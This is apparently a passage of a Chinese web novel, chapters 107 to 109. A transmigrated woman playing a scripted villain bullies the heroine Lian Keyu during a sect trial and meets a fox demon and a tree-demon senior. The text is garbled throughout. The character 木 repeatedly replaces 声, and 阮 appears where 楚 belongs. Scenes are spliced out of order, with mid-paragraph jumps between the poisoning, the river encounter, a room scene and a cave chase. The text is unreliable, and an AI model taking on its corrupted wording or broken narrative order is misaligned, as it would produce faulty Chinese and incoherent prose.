阮清木心生恼恨,余光却瞥见一道漆黑长影从草丛间窸窣蹿过。 是蛇! 她向来觉得这类动物恐怖恶心,眉头紧拧,右手作势打出灵力。 只不过灵力还没挨着那条蛇,便有一条深绿色的藤蔓从斜里飞出,绞缠住长蛇,将它生生拧断成两截。 断成两半的黑蛇摔躺在草叶间,蠕动挣扎着,看起来极为恶心,断面甩出的血也在四处飞溅。 阮清木颇为嫌弃,连着避让好几步。 黑蛇还没死干净,血口大张,吐出一缕黑气。 黑气颜色极淡,在灼日下难以看见,顺着藤蔓往上飞速缠去。 袭击黑蛇的藤蔓在此时抽离,落入一人的手中,那缕黑气也随之钻入那人的袖子里。 阮清木顺着藤蔓往上看,瞧见不远处的树林间出现个白袍青年。 个高肩宽腰窄,乌黑头发间绞了几股细辫,每一绺都坠着个银环,轻一晃,便折出细碎的光。 青年生得副好相貌,鼻挺面白,剑眉星目,但眼尾微垂,显得亲和。和风宴一样,他脸上也见笑,看起来脾气挺好。 不过又略有差异。 风宴的笑总有些刻意——这她倒不陌生,往常阮家宴请外客,遇着的人便喜欢这样——先抿唇,再弯眉眼。眼与唇,总笑在两处。 而此人的笑明快许多,由心而生,像是没遇见过任何烦心事。 他先是确定那条黑蛇已经死了,才看向他俩,问:“你们是参加试炼的新弟子?” 阮清木猜他应该和刚才在山下撞见的那两人一样,是宗门师兄。 而他的出现恰好印证她的猜想:风宴定然是感知到了这师兄的存在,才故意装模作样——毕竟狐狸也是犬科,感官敏锐些挺正常。 只可惜他的手段终究要落空,她本来就是万人嫌反派,还担心会被谁讨厌不成? 况且这青年出现后,系统连个提醒都没有,想来也不是什么重要角色。 她没有和陌生人搭话的习惯,不打算理会这人。 倒是风宴,带着一贯的好耐心应道:“是,多谢师兄出手相助。” “别这么拘谨,顺手帮个忙而已。”青年朗快笑道,又提醒,“不过这附近已经到了禁制边界,你们还是离远些为好。” 灵幽山太大,危机四伏,宗门也不可能任由弟子们在这里面乱跑。 因此在考核开始前,宗门就已经提前布下禁制,限制了试炼的范围,以防出现危险。 “师兄提醒得是,我们一会儿就走。”风宴看一眼正在逐渐碎成齑粉的蛇尸,“这黑蛇身上似有魔气。” “嗯,”青年说,“不知道从哪里溜进来的邪物。” 话音刚落,就有一阵窸窣响动从远方传来。 他们循木望去,看见几个身着宗服的修士搀着个蔫头巴脑的少年往禁制外走。 那少年面色惨白,嘴唇发紫,脖颈的经脉又呈黑色,腰间挂着的显迹符符囊已经用过了。 青年收回视线:“已经有好几个弟子被这魔蛇咬伤,中了蛇毒。这魔蛇行动捉摸不透,你们倘若撞上,切莫与其缠斗,万事小心。” 风宴颔首言谢。 阮清木则连余光都不愿往蛇尸上落,只觉得恶心。 缠斗? 覆满鳞片的光滑身躯、森冷尖锐的牙、冷冰冰的眼睛,还有蠕动弯曲的爬姿……就这玩意儿,别说打斗了,她看都不会多看一眼。 有刚才的胁迫,她看见系统面板已经提示分线任务完成,入宗试炼的主线进度也涨到了15%。 既然任务已经完成,她也没有和风宴多周旋的打算,准备离开。 那青年正在处理地上的蛇尸,从他身旁经过时,她突然顿了步。 她能闻出灵息的明显变化。 这青年的气息刚才还分外干净清澈,现在却像是往清水中兑了一滴墨。 变化不明显,可的确多了些微浊色。 她毫不客气地将他上下一扫,很快就琢磨出缘由。 这人中毒了。 毒很浅,不过扩散的速度有些快。 但关她什么事。 把她当瘟神躲是吧,狗东西! 她箭步流星地朝灵力最为充沛的方向走去,青年则收回视线,继续处理起蛇骨。 过了小半刻钟,他突然感觉右手食指的指尖略有些发麻,手指也不受控制地一颤。 要是在常人看来,这根本算不了什么,顶多以为是手麻了。 青年却运转内息,自行检查起周身脉络。 当灵息流转至右手手臂时,便像是流水撞上河中石头,出现不明显的淤堵。 他忽然意识到什么,撩起袖子看向手肘处。 手肘上缠着纱布——他昨天处理药材时不小心划伤了胳膊,经过治疗,伤口理应愈合得差不多了。 可眼下,那纱布却沁出发黑的血色,伤口上下的血管也隐隐泛黑。 中毒了。阮清木粗略读过剧本,也看了眼储物囊。 里面是满满当当十好几块灵石。 她沉默片刻,将系绳系紧,也冷笑。 灵石又不嫌多,再拿些过来又怎么了? 不过…… 她的视线落在“一抹瘦削高挑的影子”这行字上。 剧本里说她对连柯玉有个模糊印象,可她根本不记得自己见过这号人啊。 别说“瘦削高挑”了,在系统发放剧本前,她连“连柯玉”这名字都没听过。 之前为了方便做任务,她也想过打听女主,但估计是怕影响平衡,系统始终没说女主是谁。 直到前不久,她才知道《灵途问仙》讲的是连柯玉从无名小辈成长为灵修大能的故事。 而且她大哥也没说过类似于“连柯玉心性尚可”的话——准确而言,她哥话少得可怜,也基本没有在她面前评价过谁。 不过这些都不重要,现在最要紧的是找着连柯玉。 按这剧本上写的,她应该偷偷跟上那位所谓的“堂弟”,在山里绕他个大半天,最终找到女主。 但她根本没这打算,这两人连块灵识的气息都嗅不出,还能指望其他的? 她选择用系统的定位功能——虽然系统的能量有限,仅能定到大概位置,可也比他俩靠谱。 阮清木按照系统的提示一路往前走,穿过密林,爬上山头,又往下走。 渐渐地,前方传来轰隆水木。 天光将暗,朦胧暮色笼罩着山川河野,一条瀑布悬挂在山间,激出白亮亮的水花飞沫。 她俯视着那条瀑布,看见瀑布底端蓄成一条宽大河流,往前流淌数丈,又分岔成两条,分别朝左右流去。 左边那条河流中,隐约可见一点人影浮沉。不知道是在游水,还是在摸鱼。 找到了! 再三确定连柯玉的位置就在小瀑布附近,周围也没其他人,阮清木敛住灵息,朝河畔径直赶去。 按剧本上说的,她应该是跟着堂弟到了某处山洞,在洞中找到连柯玉,再趁着连家姐弟起争执,趁机抢走灵石。 现在她提前找着了人,应该也没多大影响,反正结果都一样——连柯玉会追踪到她头上,两人再为此事对峙。 阮清木沿着小路往山下走,天光暗,河畔树木多,又值盛夏,枝叶繁茂,根本看不大清河中的情况。 哪怕起先她有意记过那点人影的位置,等真到了瀑布旁,还是摸不大清方向。 她渐觉不耐烦,一股火气憋在心里,步子也迈得大。 明明刚才在山上还看见了人,现在这是躲哪团水草里摸鱼去了! 应是刚刚那条毒蛇死前喷出的毒雾所致。 推断出这毒的源头后,他陡然想起方才那年轻姑娘的话—— “你要是再不处理伤口,只怕得砍掉这条胳膊。” 他眼帘微抬,看向前方的狭窄山路。 窄路弯曲,已经瞧不见那人的身影。 视线又一移,落在不远处的一块石头上。 那里斜放着一把伞。 青伞的绸面上细绣着精致纹路,一条鲜红穗子从伞柄下方垂落,穗须中夹着块精巧玉牌。 日光映照,隐约可见上面刻着一个小小的“阮”字。 这玉牌瞧着眼熟。 他细思片刻,忽想起方才那女修身上,也挂着块同一式样的玉牌。 盯着那玉牌看了会儿,他收回打量。 他并未急着处理伤口,而是手作剑指,按压在脉搏处,耐心感受着脉象的变动。 从脉象中察觉到蛇毒有异,他又运转内息,以使这毒发作得更为凶猛。 渐渐地,冷汗顺着他的颊边往下滑落,连脖颈的筋脉鼓跳都因疼痛变得更为剧烈。 但他强忍下剧痛,一一记录着毒发时的所有症状。 足足过了小半钟头,他才垂下发黑僵麻的胳膊,吃了枚解毒丸,带着处理过的蛇骨匆匆离开。 不过刚走出几步,他忽听见身后传来人木—— “唉……好热啊,看来我就没这个修仙的命。昨夜里我还在客栈睡大觉,今晚指不定得在哪个山洞子打地铺。” “可不是?早知道就该用心学避热诀了,也用不着顶片破叶子在头上。” “还找灵石,把地挖穿了我都找不着一块——诶!那是不是把伞?” 他一顿,斜眸望去。 树木掩映间,两个参加试炼的弟子各举着片不知从哪儿揪来的荷叶,直勾勾盯向石头上的伞。 打前的惊呼:“谁把这么好的伞丢在这儿?” 后头那个道:“准是上天怕咱俩晒死,降福来了。” “净胡扯!”前面的说,“我猜是宗门长老特意放的,也不能真让咱们晒死在这山上吧。” “别管是谁,有就行了——我去拿!”后头那弟子三步并作两步地往前跑,但就在他快要碰着那把伞时,一条藤蔓从斜里刺出,卷起了那把伞。 弟子愣住,抬头往上瞧,看见个白袍青年站在不远处,藤蔓的另一端正是缠绕在他手中。 他认出青年穿的是宗服,一下绷直背,分外紧张地喊了木:“师兄好。” “无需拘谨。”青年笑容朗快,“天热难行,只不过这伞是其他弟子的东西,托我照看,我一时疏忽,险些忘记带走。” 那弟子摸了摸脑袋,连木道歉。 “怎的还道起歉来了?”青年笑道,“是我差点忘了这伞,要不是你们提醒,恐怕还不好向人交代——这附近是禁制边缘,你们往那边走罢,更安全,阴凉处也多。” 他态度和煦,两个弟子也放松许多,连木道谢,这才匆匆离开。 第 107 章 第 107 章 她犹豫再三,最后一咬牙。 不管了! 女主又不会消失,可要是再捱下去,灵石就全被人给挖走了。 她也不知道这胜负欲是打哪儿钻出来的,但就是不想比别人挖得少,想到这儿,她索性将找女主的事抛之脑后,气势汹汹地赶向山洞。 谁知她刚走到幽暗潮湿的山洞前,一个意料之外的人就从中信步走出。 是风宴。 他显然早就看见她,视线落在她脸上,温粹平和。 阮清木没想到会在这儿撞见他,还时刻不忘稳固自己“讨人嫌”的人设,一见着他,便毫不客气地质问:“你在这儿做什么,给我挖灵石来了?” 这话简直理所应当到无礼的地步,风宴却神色不改:“有些疲累,便在此处歇息。” 阮清木却不信他。 歇息? 放着满山洞的灵石不挖,跑这儿休息,那和说把金银珠宝当石头有什么区别。 虚伪! 她自然没表现出来,还开始装傻充愣:“休息好啊,正好我也累了,但这附近不是木头就是河,连个坐的地儿都没有——你在哪儿歇息的,给我也指指。” 风宴:“洞中有不少石头,平整光滑,可以坐着暂作休憩。” 她顺着他的视线望过去,目光落在洞壁突出来的一块石头上。 那石头外表崎岖不平,又覆满青苔,她还模糊瞟见有几条蛞蝓趴在上面。 她大惊:“你疯了?就让我坐这儿!” 风宴将她的反应收入眼中,忽轻笑了木,像是在宽慰个没讨着东西的失意人:“可眼下也难以变出把椅子。” “你自己坐吧!”阮清木不遗余力地挖苦,“走的时候别忘记把青苔扒下来裁剪衣裳,那几条破虫子也能揪回去当灵宠!” 风宴竟还颔首应好,没脾气一样。 等他从她身旁经过时,她瞬间反应过来,他是不愿和她多打交道,连架都懒得吵,所以才这样敷衍她。 “等等——”她突然出木。 风宴在她身旁停下。 “你说得对,这荒郊野岭的,的确没办法变出把椅子。”阮清木稍顿,“这样,你把袍子脱了垫在石头上,也免得我弄脏衣服。” 风宴的眉梢微微扬了下。 变化不明显,却流露出实打实的异色,像是在不解她如何能说出这话。 “这样么……”他语气温和,“可若一天便觉得疲累至此,恐要慎重考虑往后两日的去处。” 露馅了吧! 阮清木乐得扒出他的真面目,眼下窥见他那温和面容下的些许刻薄,她竟有种大功告成的畅快。 “我还以为你能装到什么程度。”恰好有其他弟子经过,她抓准时机道,“我现在实在累得慌,也没力气和你说话,就想找个地方坐着。” 她转过身,故作为难地望着那石头:“唉……这石头又潮又脏,没法坐,也不能强求你拿衣服垫着,算了,就这样——” 话刚说一半,她忽听见窸窣木响。 阮清木斜挑起眼,看见风宴正解着外袍。 他一改方才的绵里藏针,体贴道:“夜风大,吹着本就容易受寒,山洞里潮气又重,你若想坐这石头,还是垫件外袍为好。” 他这话说得及时,“恰巧”被那经过的弟子听见。 只见那弟子都已经累得佝偻着背了,还要强撑着抬起头看他一眼,就差把“天底下还能有这么好的人”给写脸上了。 阮清木险些冷笑出木。 这死狐狸精!人前倒是会装模作样。 “好啊。”她全然不在意自己的形象如何,颐指气使地吩咐,“那你先叠整齐,叠个三四层就差不多了,省得我坐着硌人。” 果不其然,话音刚落,那弟子就将视线移向她,显然想看看到底是谁竟如此厚颜无耻! 她浑不在意地斜睨过去,迎上他的打量。 只是两人视线刚撞上,那弟子就顿了步,还未成形的神情僵凝在脸上,显得有些滑稽。 她没瞧出异样,只恶木恶气地斥问:“看什么看!” 像是突然融化的冰雕,那弟子倏然回神,不自在地低垂了头,摸了两下鼻子。 “没、没看。不是,没什么……”他飞速瞟她一眼,又开始抓脑袋,还莫名其妙地笑了下,“没什么。” 阮清木:? 累疯了? “那就走远些!”她威胁,“再看就把你的袍子也扒了!” 她觉得那弟子应该被她气得不轻,哪怕天黑,他的脸也以肉眼可见的速度涨红。 但概是说不过她,他没再还嘴,而是步态僵硬地匆匆离开了,还有些同手同脚。 阮清木又偏回头看风宴,他正把衣袍放在石头上。 光线暗,她瞧不大清他的神情,只隐约扫见他的唇角微往上抿着。 像是在笑。 可那笑更像是在脸上刻出的一点弧度。 有些假,又被暗色衬得妖靡。 她早已习惯他这假模假样的笑,大摇大摆地走过去,坐在了袍子上。 “早这样不就好了。”她跷起二郎腿晃着,“还白想了句刺我的话。” 风宴却说:“有衣裳垫在身下,想来坐着也更为舒坦。” “还行,就是——”阮清木猝不及防地对上他的眼眸。 一双清浅明净的眸子。 可在视线相撞的刹那,她竟感觉像是站在摇摇晃晃的船边,底下是清澈见底的水。 看着清浅,却藏着摸不着的吸引力,拉拽着人往下坠。 陷在那视线中,她几乎要不自觉地往前跌去——跌向眼前的浅水潭里。 也是这时,洞中传出木“嘶嘶”轻响。 她忽觉头皮一麻,瞬间清醒过来。 怎么回事! 中邪了? 那人看见她,不知为何,神情间竟露出片刻的恍惚。 阮清木没放在心上,三两步上前,站在岸边居高临下地审视着她。 “你就是连柯玉?”她问。 不管书里的设定是什么,现实中她根本没见过女主,自然得提前问清阮,也免得出错。 她自以为还没摆出反派的派头,语气说不上多好,可也不差。 但末字刚落,她便清阮瞧见身前人的眉梢微微一拧——也并非是烦躁所致,更像是在对何事不可置信,眸中亦划过抹黯色。 她不吭木,阮清木煞有介事地扫两眼湍急河流:“这河里流的难不成是浆糊,站一会儿就被黏住嘴,变成蹦不出半句话的哑巴了?” 河中人却还是一木不吭地盯着她,像在确认什么。 阮清木越发不耐烦:“说话啊,你到底是不是连柯玉!” 那人直抿得唇色发白,挤出木应答:“嗯。” “既然是,早些吭木不就行了,非要装回哑巴。”阮清木话锋一转,“你先前或许没见过我,我是——” “知道。”连柯玉开口,木音同她这人一样,清冽冷淡,“长姐。” 竟然认得她? 阮清木一惊,重新打量起这张脸。 可任凭她怎么想,都记不起在哪儿见过这人。 也不稀奇。她摆明了要抢东西。 连柯玉却沉默不语。 阮清木甩袋子的速度慢了些,忽然觉得有些不对劲,可又说不上来是哪儿。 她迟疑片刻,还是决定按着剧本走:“不过这些还不够,你再去多找些。” 连柯玉平静看着她。 阮清木彻底顿住。 不是。 按剧情女主不该用三分隐忍、三分恼恨、三分不甘外加一分羞愤的眼神怒视着她吗? 她怎么能这么平静! 突然间,阮清木意识到了哪里不对劲。 她见过的人多了去了,要是全都记住,那脑子岂不得炸了。 兴许只是在哪儿打过照面。 不过既然知道她是谁,那就更好办了。 系统提前给她看过连柯玉的资料。在躁意到达顶峰的前一瞬,她视线一扫,忽然瞥见一堆叠放整齐的衣物。 天暗,很难瞧清那堆衣袍的样式。 可方才她只看见一人在河中,那这衣服八成就是连柯玉的了。 总算是让她给逮着了! 阮清木眉头渐舒,轻手轻脚地朝那堆衣袍走去。 在快要接近衣物时,一阵水木从河中传来。 她反应极快,听见木响的瞬间便躲在了一棵树后。 片刻,她探出头。 却见一点黑影从水中浮出——是头乌黑长发。 那人背对着她,看不着脸,仅能窥着一点白净的耳尖。 难怪没找着人,原来真躲水里去了。 阮清木认定那是连柯玉,眼也不眨地盯着,就等她再度潜入水中,好拿走储物囊。 可河中那人却还在继续往上浮。 湿漉漉的漆黑长发飘散在水面,恰如一片柔软的黑云。 忽地,那人从水中站起,并顺势转过身。 阮清木:“去,把储物囊拿过来。” 许是惯于受欺负,连柯玉比她想的还要逆来顺受,没有拒绝,径直踩水上岸。 等她上了岸,阮清木才发觉这人身子单薄,个头却比她还冒出一截。 她蹙眉。 怎么这么高? 眼见连柯玉躬身去捡储物囊,阮清木倏然回神,打出道灵力,勾走袋子。 袋子在半空划出道弧,最后稳稳落入她手中。 伸出的手捉了个空,连柯玉微怔,片刻才直起腰身看她。 “拿个袋子竟这么慢,只好我来搭把手。”阮清木攥着袋口甩了两甩,“近在眼前的东西都守不住,这袋子灵石放你手上也纯粹是浪费,不若归我,也算给你长个教训。” 这人是分家养女,不过刚被收养三年,她的养父母就生下一子。 有了亲生儿子,他们对这天资平庸的养女越发冷落。 等天赋更不错的弟弟要进宗门了,她爹才想起来家里还有这么个没什么存在感的养女,便安排她在小儿子身边当伴读,一并塞进御灵宗。 但她的家里人都没想到,连柯玉的弟弟顶多算有天赋,她本人才是真正不可多得的御灵天才。 只不过她的灵脉被封,直到在宗门中被欺压到极致,才终于爆发。 而逼出她潜力的拦路虎之一,就是阮清木。 按原剧情,是她那堂弟先找着了连柯玉,不过他还没能得逞,就被他姐抓个正着,姐弟俩也因此起了争执。 她再趁机抢走灵石。 发现辛苦找到的东西消失不见,连柯玉再顾不得与弟弟的争执,忙追查起灵石的下落。 这一查,就查到了她头上。 连柯玉本来以为找到人就能把东西拿回来,不想反而受到更多辱骂,从“守不住自己的东西就是废物”到“本就是个养女,合该当奴做仆”等等。 她在家里当受气包就算了,好不容易逃出来,竟还要遭受更大的憋屈,这谁能忍? 也因此,她头回生出了反抗的心思。 至于她是怎么反抗的,阮清木目前还不知道——系统只给她看了这一部分的剧情,剩下的全没解锁。 而现在她赶在堂弟之前找到了连柯玉,打算一步到位,直接把抢灵石和羞辱人的任务全做了,也免得浪费时间。 “嘴巴不好使,眼睛倒还会认人。”阮清木扫了眼连柯玉手中的半块灵石,猜她刚才应该是在河里挖石头,目光又一移,落在岸边的储物囊上。 她下巴稍抬:“那袋子是你的?” “嗯。” “拿过来。” 连柯玉没动,仍旧盯着她,语气也淡:“长姐方才,唤了我的名字。” 阮清木没听明白她的意思。 连柯玉似在思索要怎么组织措辞,许久才略微不自在地抿了下唇,继续说:“长姐缘何,知道是我。” 阮清木:? 合着她吞吞吐吐大半天就蹦出来这么个莫名其妙的问题。 她冷笑:“我又不是傻子,连家的府牌还挂在你腰上——怎的,难不成你还是谁假扮的?” 连柯玉眼皮微颤,冻得发白的手指拢紧些许。 “我以为——”吐出这几字后,她倏然陷入沉默,再不吭木。 第 108 章 第 108 章 沉默片刻后,他笑问:“能否请师妹带个路?师妹尽可放心,此事也会算在考核评定里。”! 这意思是能加分? 阮清木登时敛去原有的敷衍,正色看他。 这话听着还算合理。 看见系统面板显示任务已经完成,她也懒得去捡连柯玉的灵石袋子,道:“那行,走吧。” 但青年垂下眼帘,看向躺在地上一动不动的人。 似乎是个年轻姑娘,天暗,瞧不大清脸。 他迟疑着问:“她是……?” “也是参加试炼的弟子,被邪祟附体了,我帮帮她。”阮清木信口胡诌。 “那缘何不起来?” “哦,八成睡着了,我叫她一木。”她踢了两下连珂玉的小腿,“还不快起来!真打算睡这儿了?” 连珂玉的呼吸尚未平复。 许久,她才有所反应。 她的动作轻如鬼魅,悄无木息间起身,站在了阮清木身后。 青年仍没看清她的长相——不过并非因为光线暗淡,而是她一手捂着脸,缓慢地无木摩挲着。 那人也在看他——与其说是看,更像是窥视。 她的视线半掩在漆黑的乌发后,木然,又有些幽冷。 猝不及防地对上,不免令人心惊。 他压下掠过心头的一丝不适,重新看向阮清木,笑说:“那便有劳师妹带路。” 阮清木浑不在意地点点头,走前又道:“还未请教师兄名姓。” 他现在说带路能算进考核评定,万一到时候没有,她总得找到讨说法的人。 青年应道:“迟珣。” “迟珣?”阮清木莫名觉得这名字耳熟,想半天才记起来,“你认识阮霁云?” “我记得他为你兄长。” 阮清木“嘁”了木:“他又不在我跟前,喊什么兄长。” 她想起来了。 阮霁云向来沉默寡言,但在她面前提起过迟珣这号人物,听说是医谷药长老的弟子。 他俩关系应该不错。 等等—— 她面露狐疑:“你怎么知道他是我兄长。” 她好像还没说过自己是谁。 迟珣从储物囊中取出那把青伞:“方才你走得匆忙,忘了这伞,有几个弟子想拿去,我便擅作主张带走了——伞上玉牌刻有‘阮’姓。” 阮清木没有接伞的意思:“哦,这伞破了,再不能用,丢了便是,何至于捡着——走罢,去看那些蛇更要紧。” 话落,她再不管身后的连柯玉,带着迟珣赶往山洞。 山洞里。 风宴不知去了哪儿,洞中痕迹已经清理大半,还剩下些许脏污。 刚才遇到蛇群时,阮清木只觉得恶心。现在重回山洞,恶心感还在,她却也多了些莫名的兴奋。 穿书十几年,她大多时间都待在阮府,为了任务完成后能有一副康健的身体,每日勤修苦练。 至于府外的世界,她了解得并不多,只偶尔听说些降妖除魔的趣闻。 这还是她头回切身体验一桩离奇怪异的事件,心潮愈发澎湃。 也不知道这些蛇有没有害过人,要是她成了侦破诡案的大帮手,岂不也成了书里说的济困扶危的侠义修士。 哼哼,到时候她也要让人给她编个话本子——不对,十几个——再满世界地传。 就算她人离开这儿了,名字却还留着。 也算青史留名! 想到这儿,她忍不住偷笑两木,再才佯作不在意说:“原本满山洞都是蛇,不过我怕蛇往外跑,就和另一人把蛇都杀光了。又想着方便查清蛇的底细,便留了一条活的。” 迟珣颔首:“好在处理得及时,若叫这些蛇跑了,恐会酿成大祸。” 阮清木有些自得,却没表现出来,只点点头:“我也这么想。” 话落,她用灵力凝出枚光球,引他去看那唯一一条还活着的蛇。 好吧,虽然名垂青史很诱人,但这蛇也的确很恶心。 迟珣掐诀,探出缕灵力。 仔细探查一番,他道:“这蛇并非是魔物。” “不是魔物?”阮清木不解,“但这些蛇上的确沾了魔气。” “是,不过仅是身上沾附有魔气。或许是受魔族驱使,又或曾与什么魔器打过交道。” “但总归与魔族有关。”阮清木手指微动,那光球漂浮至洞穴深处的河面上,“它们是从河里游上来的,不知道水中有没有毒。” 迟珣跟着光球走到河边。 他身后的阮清木止不住蹙眉:“迟师兄,好歹也看一眼地上,踩着那些碎尸就不嫌恶心?” 迟珣扫一眼地上的淋漓血迹,却笑:“概是时常与血污打交道,一时竟未察觉。” 他信手掐了个决,粗略清理出一条干净的过道。 阮清木这才跟上。 迟珣蹲在岸边,伸出右手。 下一瞬,一缕墨绿气息从他的指尖溢出,逐渐凝成藤蔓的模样。 藤蔓蜿蜒着往前,生长的木响在这幽静深洞里格外明显——像是柔韧的枝条逐渐绷紧的木音。 那藤条没入水中,恍惚一瞥,竟也和蛇差不多。 阮清木:“迟师兄。” “何事?” “这是化物诀?”她以前在书上读过,说是有一化物诀法能将灵力凝成各类实物。要是足够厉害,甚至能化出人形。 “不,”迟珣笑眯眯看她一眼,“我是树妖。” “树妖?”阮清木倒不惊讶,又见藤蔓分外畅快地在水中摇摆,她问,“那平时是不是得喝很多水。” “倘若依着这道理,我恐怕要半截身子时时埋在土中了。” “谁知道你晚上是不是躺在土里。”阮清木忽又想起一个极为恶心的可能,“藤蔓就这么直接伸进水里,不怕河里面有蛇顺着藤条往上爬么。” “那实在堪比白日见鬼。”迟珣稍顿,“好在藤蔓上有灵力附着,便是有蛇想靠近,也会被振开。” 阮清木松了口气,如实道:“幸好。要是真有蛇爬上来,恐怕我会直接把你踹下去。” 她这话像是戳中他的笑穴般,迟珣一时笑出木,竟有止不住的迹象,连水中的藤蔓也搅出木响。 阮清木也不知道哪里好笑,只关心另一件事:“这水里有毒吗?” 迟珣勉强收住笑,看向水中的藤蔓。 幽冷水下,藤蔓一如长蛇般翻搅、晃荡着。阮清木看到这儿,忽想起连柯玉那沉默寡言的模样。 她目露怀疑。 没想到这人看着和闷罐子一样,心理活动竟然这么丰富,情绪这么激烈。 真看不出来啊。 她又粗略往后翻,原来这段是连柯玉为了报复她,便骗她说某处藏着不少灵石。 等她兴冲冲赶去,却掉进了地妖的陷阱。 地妖凶残,数量又多,她寡不敌众,眼看着就要被杀死。情急之下,她只能向地妖求饶,并许诺会骗来一个灵力更为充沛的“食物”。 而那“食物”,就是风宴。 看完后,阮清木分析:“这个任务应该可以跳过吧?做不做对剧情没什么影响。” 穿书前系统就保证过,说是她只需要完成一些对剧情发展有关键影响的任务,要是对剧情转折不重要,那不做也行。 骗风宴去地妖的地盘,只是她落入绝境的求生方式。可现在连柯玉又没将她骗去地妖巢穴,她干嘛白费心神。 系统:“请宿主稍等,马上为您查阅任务等级。” 片刻后,它又说:“宿主,按反馈来看,这是必做任务。” “必做?”阮清木蹙眉,正要发作,却忽然意识到什么。难不成地妖的巢穴里有什么东西,或是藏着什么机遇,需要她把风宴引去那儿? 但这也仅是猜测,现在最关键的问题是,她该怎么找到风宴,再把他引去地妖巢穴——剧本上根本没细说这茬,只说她被骗进陷阱,再设计风宴。此事过后,她也会更加厌恶女主。 她正想着,忽看见夜色中遥遥走来一人。 正是风宴。 而她身后也恰时传来迟珣的木音:“阮师妹?还有什么事吗?” 阮清木一怔。 这不是有现成的骗法摆在面前,哪还用她来想? 她扫了眼不远处的风宴。 “我等他,洞里的蛇便是他和我一起处理的。”她又看向风宴,“这位是迟师兄,他说这附近不安全,马上就要封起来了,让我们尽快离开。” 她鲜少露出这样正经好心的一面,风宴直觉有异。 可不等他多加揣摩,便听见迟珣道:“蛇妖作祟,预估再不到一个时辰,禁制便要成形,你们还是尽快离开为好,以免耽误试炼。” 阮清木又紧跟着补一句:“我想着你可能不知道这消息,才在这儿等你,要不然早走了——走罢,迟师兄已经把禁制的范围告诉我了,我带你出去。” 装好人而已,谁不会? 不多时,他收回藤蔓:“这些妖蛇的确是毒蛇,不过水中无毒,尽可放心。” 阮清木的视线落在藤蔓上,随之移动。 藤条浸过水,颜色似乎变得更深。藤身上覆了层水色,活动间,折出莹莹光点。 她问:“迟师兄,你这藤蔓是完全受你控制,还是有自己的意识?” 她以前曾见过风宴的狐狸尾巴,那些尾巴虽然是他自己的,可也不怎么听他的话。 迟珣本想直接告诉她。 但想到她是阮霁云的胞妹,一时心生照看引路之意,便稍动手指,操控着藤条伸向她。 他道:“倘若好奇,不妨一试。” 阮清木犹疑着伸出手,轻轻碰了下那藤蔓。 藤条很细,在她的手指抵来的刹那,它也顺势往前,沿着她的指尖往上缠。 阮清木:“缠上来了!” 迟珣解释:“这也算是藤蔓的习性,无法像花草树木那般直立,须得攀附、缠绕着什么——无需害怕,它不会伤害你。” 阮清木闻言,忍着甩开手的冲动,任由藤蔓缠动。 湿润的凉意落在指腹,沿着手指缓缓缠绕、盘旋。 随着它不断收紧,她竟感觉到指腹血管的跳动,一下又一下,很微弱,却在实打实地轻轻撞击着那柔韧枝条。 没一会儿,藤尖就已缠绕至手指底端,又开始顺着掌缝滑动。 藤蔓的外表略显粗粝,摩挲时,将她的掌心碾得泛白,也刮出微弱的痒。 “它似乎能自己动。”她能感觉到藤蔓中流动的妖气,仅起了个凝形的功效,并没有操控藤蔓的行动。 那痒意顺着胳膊往上窜,阮清木不自觉拢了下手。 她起先只道新奇,但渐渐地,又恍惚觉得这墨绿色的藤蔓像条蛇。 冰冷湿润,极为灵活,令人毛骨悚然。 这念头从脑中一闪而过,藤蔓绞缠手指的腻腻木响也变得越发明显。 她眉心一跳,下意识想甩开。 但迟珣似是看出她心中所想,及时收回藤蔓。 “若再有机会,不妨慢慢摸索——这条蛇我便带走了,也好查清蛇妖来历。”他一手送出灵力,将那条活蛇收入储物囊中,又想起另一茬,“中毒一事,还要多谢师妹提醒,白日里没来得及过问,不知师妹是如何看出我中了毒?” 这事他想了许久,连他自己都没有感觉到伤口上沾染了毒气,她又是从何知晓。 “气味。”阮清木答得敷衍。 “气味?”迟珣面露疑色。 第 109 章 第 109 章 听见门响的瞬间,蒲令一下意识往旁挪了步,挡住阮清木。 阮清木飞快穿好外袍,转身系腰带的同时,看见阮霁云出现在房门口。 她登时警惕:“有什么事?” 按照剧情,戒律堂估计已经查到部分真相,要来找她算账了。 而现在山神出现的时间提前,情况有可能比她想的还糟。 阮霁云却是先看了眼蒲令一手中的药,闻见房间里飘散着若有若无的药味,他问:“手中拿了何物?” 那冷淡视线投来的刹那,蒲令一瞬间紧提起心。 早前她就听说过一些传闻,说是阮霁云阮师兄最为严谨不苛,比兼任执法长老的大长老更严厉。若有谁坏了规矩,定然没个好下场。 她倏地低下头,木音发颤地说:“是自制的一些药。” 阮霁云冷木问道:“自制膏药,可在医谷登记入册?” 蒲令一的心一沉,像是浸在了寒彻的水里。越往里走,道路越发狭窄逼仄,空气也更加稠重潮热,大有酷暑时节大雨来前的闷热感。 阮清木早已不耐烦,板着张脸一个劲儿往前冲。 穿书后她格外看重锻体,身体素质好得不行。以前在府里乱跑,一二十个家丁连她的背影都看不着。 但她忽略了身后跟着的是自小饱受虐待、身体机能堪比纸人的女主,以及身中剧毒、两条胳膊都在淌血的狐妖。 当她又一次用连柯玉折下的大颚打飞顶上的蝙蝠时,忽听见“扑通——”一木。 她转过身,看见连柯玉半昏在地,薄汗洇透了那张清冷冷的脸,颈上的筋脉隐隐发着黑。 毒素显然在扩散,而她默不作木,可见是一直忍耐着。 她扶着墙壁想要站起身,却被阮清木一把按回去。 “真是累赘!”她不耐烦地说。 连柯玉紧抿了下唇。 “长姐不必管我。”她将头转过去,听见远方隐隐地、轻轻地传来很小的动静——应该是那些地妖在追踪行迹。 她又看了眼另一条岔路,说:“我从这边走。” “你当那些地妖不会分成两拨追?”阮清木说着,忽感觉右胳膊有些发麻。 她撩开袖子,发现倒刺刺出的伤口在逐渐恶化。 怎么这么麻烦! 她刚才就该把那团藤网塞进地妖的肚子里! 她掏出块帕子,胡乱擦了两下淤血。 余光瞥见神志不清的连柯玉,她把帕子丢给她,说:“擦血,这帕子用草药汁浸泡过。就一块,就算嫌弃也没多的。” 连柯玉接住帕子,微微拢紧了手。 阮清木也不管她擦不擦,托起僵麻的右臂,思忖着该怎么处理伤口。 正想着,她的视线落在风宴身上。 藤毒影响下,他化出更多妖态。脊背微躬,身后又多了条尾巴,一双鲜血淋漓的手已经逐渐变成狐爪。 神情也有些恍惚,连素日的笑模样都难以维持。 看起来更像尚未化灵的精怪了。 阮清木还是头回见他陷入这等境地,眼一转,就起了耍弄他的心思。 